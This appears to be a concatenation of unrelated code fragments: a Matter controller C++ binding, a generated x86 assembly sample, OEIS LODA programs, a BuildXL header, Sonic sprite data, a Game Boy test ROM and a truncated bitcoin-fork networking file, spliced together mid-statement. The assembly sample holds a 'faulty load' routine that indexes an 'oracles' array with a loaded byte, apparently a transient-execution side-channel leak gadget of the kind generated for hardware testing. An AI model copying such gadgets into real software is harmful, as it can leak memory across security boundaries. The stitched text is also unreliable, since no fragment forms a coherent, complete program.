SetPairingCompleteCallback(OnPairingCompleteCallback callback) { mPairingComplete = callback; } private: OnPairingCompleteCallback mPairingComplete = nullptr; }; ServerStorageDelegate gServerStorage; ScriptDevicePairingDelegate gPairingDelegate; chip::Controller::ExampleOperationalCredentialsIssuer gOperationalCredentialsIssuer; } // namespace extern "C" void pychip_internal_PairingDelegate_SetPairingCompleteCallback(ScriptDevicePairingDelegate::OnPairingCompleteCallback callback) { gPairingDelegate.SetPairingCompleteCallback(callback); } extern "C" chip::Controller::DeviceCommissioner * pychip_internal_Commissioner_New(uint64_t localDeviceId) { std::unique_ptr<chip::Controller::DeviceCommissioner> result; CHIP_ERROR err; chip::python::ChipMainThreadScheduleAndWait([&]() { result = std::make_unique<chip::Controller::DeviceCommissioner>(); // System and Inet layers explicitly passed to indicate that the CHIP stack is // already assumed initialized chip::Controller::CommissionerInitParams params; params.storageDelegate = &gServerStorage; params.systemLayer = &chip::DeviceLayer::SystemLayer(); params.inetLayer = &chip::DeviceLayer::InetLayer; params.pairingDelegate = &gPairingDelegate; chip::Platform::ScopedMemoryBuffer<uint8_t> noc; chip::Platform::ScopedMemoryBuffer<uint8_t> icac; chip::Platform::ScopedMemoryBuffer<uint8_t> rcac; // Initialize device attestation verifier chip::Credentials::SetDeviceAttestationVerifier(chip::Credentials::Examples::GetExampleDACVerifier()); chip::Crypto::P256Keypair ephemeralKey; err = ephemeralKey.Initialize(); SuccessOrExit(err); err = gOperationalCredentialsIssuer.Initialize(gServerStorage); if (err != CHIP_NO_ERROR) { ChipLogError(Controller, "Operational credentials issuer initialization failed: %s", chip::ErrorStr(err)); ExitNow(); } VerifyOrExit(noc.Alloc(chip::Controller::kMaxCHIPDERCertLength), err = CHIP_ERROR_NO_MEMORY); VerifyOrExit(icac.Alloc(chip::Controller::kMaxCHIPDERCertLength), err = CHIP_ERROR_NO_MEMORY); VerifyOrExit(rcac.Alloc(chip::Controller::kMaxCHIPDERCertLength), err = CHIP_ERROR_NO_MEMORY); { chip::MutableByteSpan nocSpan(noc.Get(), chip::Controller::kMaxCHIPDERCertLength); chip::MutableByteSpan icacSpan(icac.Get(), chip::Controller::kMaxCHIPDERCertLength); chip::MutableByteSpan rcacSpan(rcac.Get(), chip::Controller::kMaxCHIPDERCertLength); err = gOperationalCredentialsIssuer.GenerateNOCChainAfterValidation(localDeviceId, 0, ephemeralKey.Pubkey(), rcacSpan, icacSpan, nocSpan); SuccessOrExit(err); params.operationalCredentialsDelegate = &gOperationalCredentialsIssuer; params.ephemeralKeypair = &ephemeralKey; params.controllerRCAC = rcacSpan; params.controllerICAC = icacSpan; params.controllerNOC = nocSpan; err = result->Init(params); } exit: ChipLogProgress(Controller, "Commissioner initialization status: %s", chip::ErrorStr(err)); }); if (err != CHIP_NO_ERROR) { ChipLogError(Controller, "Commissioner initialization failed: %s", chip::ErrorStr(err)); return nullptr; } return result.release(); } static_assert(std::is_same<uint32_t, chip::ChipError::StorageType>::value, "python assumes CHIP_ERROR maps to c_uint32"); /// Returns CHIP_ERROR corresponding to an UnpairDevice call extern "C" chip::ChipError::StorageType pychip_internal_Commissioner_Unpair(chip::Controller::DeviceCommissioner * commissioner, uint64_t remoteDeviceId) { CHIP_ERROR err; chip::python::ChipMainThreadScheduleAndWait([&]() { err = commissioner->UnpairDevice(remoteDeviceId); }); return err.AsInteger(); } extern "C" chip::ChipError::StorageType pychip_internal_Commissioner_BleConnectForPairing(chip::Controller::DeviceCommissioner * commissioner, uint64_t remoteNodeId, uint32_t pinCode, uint16_t discriminator) { CHIP_ERROR err; chip::python::ChipMainThreadScheduleAndWait([&]() { chip::RendezvousParameters params; params.SetDiscriminator(discriminator).SetSetupPINCode(pinCode); #if CONFIG_NETWORK_LAYER_BLE params.SetBleLayer(chip::DeviceLayer::ConnectivityMgr().GetBleLayer()).SetPeerAddress(chip::Transport::PeerAddress::BLE()); #endif err = commissioner->PairDevice(remoteNodeId, params); }); return err.AsInteger(); }
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x16884, %rsi lea addresses_WC_ht+0x1d170, %rdi clflush (%rsi) clflush (%rdi) add $22999, %r14 mov $101, %rcx rep movsw add $8164, %rbx lea addresses_WC_ht+0x2638, %rsi lea addresses_D_ht+0x106f0, %rdi nop add $5734, %rbx mov $93, %rcx rep movsq nop nop nop add $33476, %rsi lea addresses_WC_ht+0x1ceea, %r9 nop nop and %rsi, %rsi mov (%r9), %r14w add %rdi, %rdi lea addresses_A_ht+0x12a30, %rsi lea addresses_A_ht+0x44b0, %rdi nop nop nop nop sub %rbp, %rbp mov $113, %rcx rep movsl xor $14063, %rsi lea addresses_A_ht+0xc4f0, %rbp nop and %rbx, %rbx and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rsi nop sub $10399, %rdi lea addresses_normal_ht+0xec62, %rbx nop cmp %rbp, %rbp mov $0x6162636465666768, %rcx movq %rcx, %xmm2 movups %xmm2, (%rbx) nop nop inc %r14 lea addresses_WT_ht+0x1a671, %rbx nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%rbx) nop nop nop nop and $22043, %rcx lea addresses_WC_ht+0xf060, %rcx clflush (%rcx) nop nop nop nop and %rsi, %rsi movb (%rcx), %r9b nop nop nop nop nop and $27001, %r14 lea addresses_WC_ht+0x161d4, %rsi lea addresses_D_ht+0x68f0, %rdi clflush (%rdi) nop mfence mov $98, %rcx rep movsb nop nop cmp %rsi, %rsi lea addresses_UC_ht+0x10a18, %r9 nop nop and %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, (%r9) add %r14, %r14 lea addresses_normal_ht+0x1ef2f, %rsi lea addresses_WT_ht+0xdae7, %rdi nop nop nop nop xor %rax, %rax mov $41, %rcx rep movsw nop add $49799, %rsi lea addresses_normal_ht+0xc6f0, %rbp nop nop nop nop add %r14, %r14 movb (%rbp), %al nop nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x181b4, %rsi lea addresses_WC_ht+0x7370, %rdi clflush (%rsi) nop xor $30856, %r14 mov $102, %rcx rep movsl nop nop nop nop and $63066, %r14 lea addresses_normal_ht+0xc6f0, %rsi lea addresses_normal_ht+0x1dcf0, %rdi cmp $35205, %rbp mov $13, %rcx rep movsq nop nop nop nop xor $36713, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 pop %r14 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %rax push %rbp push %rdi push %rsi // Load lea addresses_D+0x136f0, %rax nop and $11579, %r8 mov (%rax), %rsi and $62062, %rbp // Store lea addresses_A+0x1b2f0, %rdi nop nop nop nop dec %r13 mov $0x5152535455565758, %rax movq %rax, %xmm0 vmovups %ymm0, (%rdi) nop nop and %r13, %r13 // Faulty Load lea addresses_WC+0x12ef0, %rax nop and $48689, %rbp movb (%rax), %r13b lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rsi pop %rdi pop %rbp pop %rax pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_D', 'congruent': 9}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 10}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 1}} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 9}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 0}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 10}} {'dst': {'same': True, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
; A328082: Triangle read by rows: columns are Fibonacci numbers F_{2i+1} shifted downwards. ; Submitted by Jamie Morken(s1) ; 1,2,1,5,2,1,13,5,2,1,34,13,5,2,1,89,34,13,5,2,1,233,89,34,13,5,2,1,610,233,89,34,13,5,2,1,1597,610,233,89,34,13,5,2,1,4181,1597,610,233,89,34,13,5,2,1,10946,4181,1597,610,233,89,34,13,5,2,1,28657,10946,4181,1597,610,233,89,34,13,5,2,1,75025,28657,10946,4181,1597,610,233,89,34,13,5,2,1,196418,75025,28657,10946,4181,1597,610,233,89 seq $0,212012 ; Triangle read by rows in which row n lists the number of states of the subshells of the n-th shell of the nuclear shell model ordered by energy level in increasing order. div $0,2 seq $0,52995 ; Expansion of 2*x*(1 - x)/(1 - 3*x + x^2). div $0,2
// // VNodeHandler.hpp // VNodeHandler // // Copyright © 2018 Microsoft. All rights reserved. // #ifndef VNodeHandler_hpp #define VNodeHandler_hpp #include "AccessHandler.hpp" #include "PolicyResult.h" #define VNODE_CREATE 0 bool ConstructVNodeActionString(kauth_action_t action, bool isDir, const char *separator, char *result, int *resultLength); class VNodeHandler : public AccessHandler { private: AccessCheckResult CheckExecute(PolicyResult policyResult, bool isDir); AccessCheckResult CheckProbe(PolicyResult policyResult, bool isDir); AccessCheckResult CheckRead(PolicyResult policyResult, bool isDir); AccessCheckResult CheckWrite(PolicyResult policyResult, bool isDir); public: VNodeHandler(const ProcessObject *process, BuildXLSandbox *sandbox) : AccessHandler(process, sandbox) { } int HandleVNodeEvent(const kauth_cred_t credential, const void *idata, const kauth_action_t action, const vfs_context_t context, const vnode_t vp, const vnode_t dvp, const uintptr_t arg3); static bool CreateVnodePath(vnode_t vp, char *result, int len); }; #endif /* VNodeHandler_hpp */
; A062107: Diagonal of table A062104. ; Submitted by Christian Krause ; 0,1,3,10,30,90,270,810,2430,7290,21870,65610,196830,590490,1771470,5314410,15943230,47829690,143489070,430467210,1291401630,3874204890,11622614670,34867844010,104603532030,313810596090,941431788270 mov $1,$0 cmp $0,2 add $0,1 sub $1,1 mov $2,3 pow $2,$1 mul $0,$2 mul $0,2 div $0,18 add $2,$0 mov $0,$2
; --------------------------------------------------------------------------- ; Sprite mappings - lava geyser / lava that falls from the ceiling (MZ) ; --------------------------------------------------------------------------- Map_Geyser_internal: dc.w @bubble1-Map_Geyser_internal dc.w @bubble2-Map_Geyser_internal dc.w @bubble3-Map_Geyser_internal dc.w @bubble4-Map_Geyser_internal dc.w @bubble5-Map_Geyser_internal dc.w @bubble6-Map_Geyser_internal dc.w @end1-Map_Geyser_internal dc.w @end2-Map_Geyser_internal dc.w @medcolumn1-Map_Geyser_internal dc.w @medcolumn2-Map_Geyser_internal dc.w @medcolumn3-Map_Geyser_internal dc.w @shortcolumn1-Map_Geyser_internal dc.w @shortcolumn2-Map_Geyser_internal dc.w @shortcolumn3-Map_Geyser_internal dc.w @longcolumn1-Map_Geyser_internal dc.w @longcolumn2-Map_Geyser_internal dc.w @longcolumn3-Map_Geyser_internal dc.w @bubble7-Map_Geyser_internal dc.w @bubble8-Map_Geyser_internal dc.w @blank-Map_Geyser_internal @bubble1: dc.b 2 dc.b $EC, $B, 0, 0, $E8 dc.b $EC, $B, 8, 0, 0 @bubble2: dc.b 2 dc.b $EC, $B, 0, $18, $E8 dc.b $EC, $B, 8, $18, 0 @bubble3: dc.b 4 dc.b $EC, $B, 0, 0, $C8 dc.b $F4, $E, 0, $C, $E0 dc.b $F4, $E, 8, $C, 0 dc.b $EC, $B, 8, 0, $20 @bubble4: dc.b 4 dc.b $EC, $B, 0, $18, $C8 dc.b $F4, $E, 0, $24, $E0 dc.b $F4, $E, 8, $24, 0 dc.b $EC, $B, 8, $18, $20 @bubble5: dc.b 6 dc.b $EC, $B, 0, 0, $C8 dc.b $F4, $E, 0, $C, $E0 dc.b $F4, $E, 8, $C, 0 dc.b $EC, $B, 8, 0, $20 dc.b $E8, $E, 0, $90, $E0 dc.b $E8, $E, 8, $90, 0 @bubble6: dc.b 6 dc.b $EC, $B, 0, $18, $C8 dc.b $F4, $E, 0, $24, $E0 dc.b $F4, $E, 8, $24, 0 dc.b $EC, $B, 8, $18, $20 dc.b $E8, $E, 8, $90, $E0 dc.b $E8, $E, 0, $90, 0 @end1: dc.b 2 dc.b $E0, $F, 0, $30, $E0 dc.b $E0, $F, 8, $30, 0 @end2: dc.b 2 dc.b $E0, $F, 8, $30, $E0 dc.b $E0, $F, 0, $30, 0 @medcolumn1: dc.b $A dc.b $90, $F, 0, $40, $E0 dc.b $90, $F, 8, $40, 0 dc.b $B0, $F, 0, $40, $E0 dc.b $B0, $F, 8, $40, 0 dc.b $D0, $F, 0, $40, $E0 dc.b $D0, $F, 8, $40, 0 dc.b $F0, $F, 0, $40, $E0 dc.b $F0, $F, 8, $40, 0 dc.b $10, $F, 0, $40, $E0 dc.b $10, $F, 8, $40, 0 @medcolumn2: dc.b $A dc.b $90, $F, 0, $50, $E0 dc.b $90, $F, 8, $50, 0 dc.b $B0, $F, 0, $50, $E0 dc.b $B0, $F, 8, $50, 0 dc.b $D0, $F, 0, $50, $E0 dc.b $D0, $F, 8, $50, 0 dc.b $F0, $F, 0, $50, $E0 dc.b $F0, $F, 8, $50, 0 dc.b $10, $F, 0, $50, $E0 dc.b $10, $F, 8, $50, 0 @medcolumn3: dc.b $A dc.b $90, $F, 0, $60, $E0 dc.b $90, $F, 8, $60, 0 dc.b $B0, $F, 0, $60, $E0 dc.b $B0, $F, 8, $60, 0 dc.b $D0, $F, 0, $60, $E0 dc.b $D0, $F, 8, $60, 0 dc.b $F0, $F, 0, $60, $E0 dc.b $F0, $F, 8, $60, 0 dc.b $10, $F, 0, $60, $E0 dc.b $10, $F, 8, $60, 0 @shortcolumn1: dc.b 6 dc.b $90, $F, 0, $40, $E0 dc.b $90, $F, 8, $40, 0 dc.b $B0, $F, 0, $40, $E0 dc.b $B0, $F, 8, $40, 0 dc.b $D0, $F, 0, $40, $E0 dc.b $D0, $F, 8, $40, 0 @shortcolumn2: dc.b 6 dc.b $90, $F, 0, $50, $E0 dc.b $90, $F, 8, $50, 0 dc.b $B0, $F, 0, $50, $E0 dc.b $B0, $F, 8, $50, 0 dc.b $D0, $F, 0, $50, $E0 dc.b $D0, $F, 8, $50, 0 @shortcolumn3: dc.b 6 dc.b $90, $F, 0, $60, $E0 dc.b $90, $F, 8, $60, 0 dc.b $B0, $F, 0, $60, $E0 dc.b $B0, $F, 8, $60, 0 dc.b $D0, $F, 0, $60, $E0 dc.b $D0, $F, 8, $60, 0 @longcolumn1: dc.b $10 dc.b $90, $F, 0, $40, $E0 dc.b $90, $F, 8, $40, 0 dc.b $B0, $F, 0, $40, $E0 dc.b $B0, $F, 8, $40, 0 dc.b $D0, $F, 0, $40, $E0 dc.b $D0, $F, 8, $40, 0 dc.b $F0, $F, 0, $40, $E0 dc.b $F0, $F, 8, $40, 0 dc.b $10, $F, 0, $40, $E0 dc.b $10, $F, 8, $40, 0 dc.b $30, $F, 0, $40, $E0 dc.b $30, $F, 8, $40, 0 dc.b $50, $F, 0, $40, $E0 dc.b $50, $F, 8, $40, 0 dc.b $70, $F, 0, $40, $E0 dc.b $70, $F, 8, $40, 0 @longcolumn2: dc.b $10 dc.b $90, $F, 0, $50, $E0 dc.b $90, $F, 8, $50, 0 dc.b $B0, $F, 0, $50, $E0 dc.b $B0, $F, 8, $50, 0 dc.b $D0, $F, 0, $50, $E0 dc.b $D0, $F, 8, $50, 0 dc.b $F0, $F, 0, $50, $E0 dc.b $F0, $F, 8, $50, 0 dc.b $10, $F, 0, $50, $E0 dc.b $10, $F, 8, $50, 0 dc.b $30, $F, 0, $50, $E0 dc.b $30, $F, 8, $50, 0 dc.b $50, $F, 0, $50, $E0 dc.b $50, $F, 8, $50, 0 dc.b $70, $F, 0, $50, $E0 dc.b $70, $F, 8, $50, 0 @longcolumn3: dc.b $10 dc.b $90, $F, 0, $60, $E0 dc.b $90, $F, 8, $60, 0 dc.b $B0, $F, 0, $60, $E0 dc.b $B0, $F, 8, $60, 0 dc.b $D0, $F, 0, $60, $E0 dc.b $D0, $F, 8, $60, 0 dc.b $F0, $F, 0, $60, $E0 dc.b $F0, $F, 8, $60, 0 dc.b $10, $F, 0, $60, $E0 dc.b $10, $F, 8, $60, 0 dc.b $30, $F, 0, $60, $E0 dc.b $30, $F, 8, $60, 0 dc.b $50, $F, 0, $60, $E0 dc.b $50, $F, 8, $60, 0 dc.b $70, $F, 0, $60, $E0 dc.b $70, $F, 8, $60, 0 @bubble7: dc.b 6 dc.b $E0, $B, 0, 0, $C8 dc.b $E8, $E, 0, $C, $E0 dc.b $E8, $E, 8, $C, 0 dc.b $E0, $B, 8, 0, $20 dc.b $D8, $E, 0, $90, $E0 dc.b $D8, $E, 8, $90, 0 @bubble8: dc.b 6 dc.b $E0, $B, 0, $18, $C8 dc.b $E8, $E, 0, $24, $E0 dc.b $E8, $E, 8, $24, 0 dc.b $E0, $B, 8, $18, $20 dc.b $D8, $E, 8, $90, $E0 dc.b $D8, $E, 0, $90, 0 @blank: dc.b 0 even
.size 8000 .text@50 jp ltimaint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: xor a, a ldff(0f), a ldff(ff), a ld a, f0 ldff(05), a ldff(06), a ld a, 04 ldff(ff), a ld a, 05 ldff(07), a ei nop halt .text@1000 ltimaint: nop .text@1024 ld a, 01 ldff(07), a ld a, 05 ldff(07), a nop nop nop nop nop nop nop nop nop nop ldff a, (05) jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a ld bc, 7a00 ld hl, 8000 ld d, 00 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles pop af ld b, a srl a srl a srl a srl a ld(9800), a ld a, b and a, 0f ld(9801), a ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f 00 00 08 08 22 22 41 41 7f 7f 41 41 41 41 41 41 00 00 7e 7e 41 41 41 41 7e 7e 41 41 41 41 7e 7e 00 00 3e 3e 41 41 40 40 40 40 40 40 41 41 3e 3e 00 00 7e 7e 41 41 41 41 41 41 41 41 41 41 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 40 40 40 40 7f 7f 40 40 40 40 40 40
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2020 The thecoffeecoins Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <netaddress.h> #include <crypto/common.h> #include <crypto/sha3.h> #include <hash.h> #include <prevector.h> #include <tinyformat.h> #include <util/asmap.h> #include <util/strencodings.h> #include <util/string.h> #include <algorithm> #include <array> #include <cstdint> #include <ios> #include <iterator> #include <tuple> constexpr size_t CNetAddr::V1_SERIALIZATION_SIZE; constexpr size_t CNetAddr::MAX_ADDRV2_SIZE; CNetAddr::BIP155Network CNetAddr::GetBIP155Network() const { switch (m_net) { case NET_IPV4: return BIP155Network::IPV4; case NET_IPV6: return BIP155Network::IPV6; case NET_ONION: switch (m_addr.size()) { case ADDR_TORV2_SIZE: return BIP155Network::TORV2; case ADDR_TORV3_SIZE: return BIP155Network::TORV3; default: assert(false); } case NET_I2P: return BIP155Network::I2P; case NET_CJDNS: return BIP155Network::CJDNS; case NET_INTERNAL: // should have been handled before calling this function case NET_UNROUTABLE: // m_net is never and should not be set to NET_UNROUTABLE case NET_MAX: // m_net is never and should not be set to NET_MAX assert(false); } // no default case, so the compiler can warn about missing cases assert(false); } bool CNetAddr::SetNetFromBIP155Network(uint8_t possible_bip155_net, size_t address_size) { switch (possible_bip155_net) { case BIP155Network::IPV4: if (address_size == ADDR_IPV4_SIZE) { m_net = NET_IPV4; return true; } throw std::ios_base::failure( strprintf("BIP155 IPv4 address with length %u (should be %u)", address_size, ADDR_IPV4_SIZE)); case BIP155Network::IPV6: if (address_size == ADDR_IPV6_SIZE) { m_net = NET_IPV6; return true; } throw std::ios_base::failure( strprintf("BIP155 IPv6 address with length %u (should be %u)", address_size, ADDR_IPV6_SIZE)); case BIP155Network::TORV2: if (address_size == ADDR_TORV2_SIZE) { m_net = NET_ONION; return true; } throw std::ios_base::failure( strprintf("BIP155 TORv2 address with length %u (should be %u)", address_size, ADDR_TORV2_SIZE)); case BIP155Network::TORV3: if (address_size == ADDR_TORV3_SIZE) { m_net = NET_ONION; return true; } throw std::ios_base::failure( strprintf("BIP155 TORv3 address with length %u (should be %u)", address_size, ADDR_TORV3_SIZE)); case BIP155Network::I2P: if (address_size == ADDR_I2P_SIZE) { m_net = NET_I2P; return true; } throw std::ios_base::failure( strprintf("BIP155 I2P address with length %u (should be %u)", address_size, ADDR_I2P_SIZE)); case BIP155Network::CJDNS: if (address_size == ADDR_CJDNS_SIZE) { m_net = NET_CJDNS; return true; } throw std::ios_base::failure( strprintf("BIP155 CJDNS address with length %u (should be %u)", address_size, ADDR_CJDNS_SIZE)); } // Don't throw on addresses with unknown network ids (maybe from the future). // Instead silently drop them and have the unserialization code consume // subsequent ones which may be known to us. return false; } /** * Construct an unspecified IPv6 network address (::/128). * * @note This address is considered invalid by CNetAddr::IsValid() */ CNetAddr::CNetAddr() {} void CNetAddr::SetIP(const CNetAddr& ipIn) { // Size check. switch (ipIn.m_net) { case NET_IPV4: assert(ipIn.m_addr.size() == ADDR_IPV4_SIZE); break; case NET_IPV6: assert(ipIn.m_addr.size() == ADDR_IPV6_SIZE); break; case NET_ONION: assert(ipIn.m_addr.size() == ADDR_TORV2_SIZE || ipIn.m_addr.size() == ADDR_TORV3_SIZE); break; case NET_I2P: assert(ipIn.m_addr.size() == ADDR_I2P_SIZE); break; case NET_CJDNS: assert(ipIn.m_addr.size() == ADDR_CJDNS_SIZE); break; case NET_INTERNAL: assert(ipIn.m_addr.size() == ADDR_INTERNAL_SIZE); break; case NET_UNROUTABLE: case NET_MAX: assert(false); } // no default case, so the compiler can warn about missing cases m_net = ipIn.m_net; m_addr = ipIn.m_addr; } void CNetAddr::SetLegacyIPv6(Span<const uint8_t> ipv6) { assert(ipv6.size() == ADDR_IPV6_SIZE); size_t skip{0}; if (HasPrefix(ipv6, IPV4_IN_IPV6_PREFIX)) { // IPv4-in-IPv6 m_net = NET_IPV4; skip = sizeof(IPV4_IN_IPV6_PREFIX); } else if (HasPrefix(ipv6, TORV2_IN_IPV6_PREFIX)) { // TORv2-in-IPv6 m_net = NET_ONION; skip = sizeof(TORV2_IN_IPV6_PREFIX); } else if (HasPrefix(ipv6, INTERNAL_IN_IPV6_PREFIX)) { // Internal-in-IPv6 m_net = NET_INTERNAL; skip = 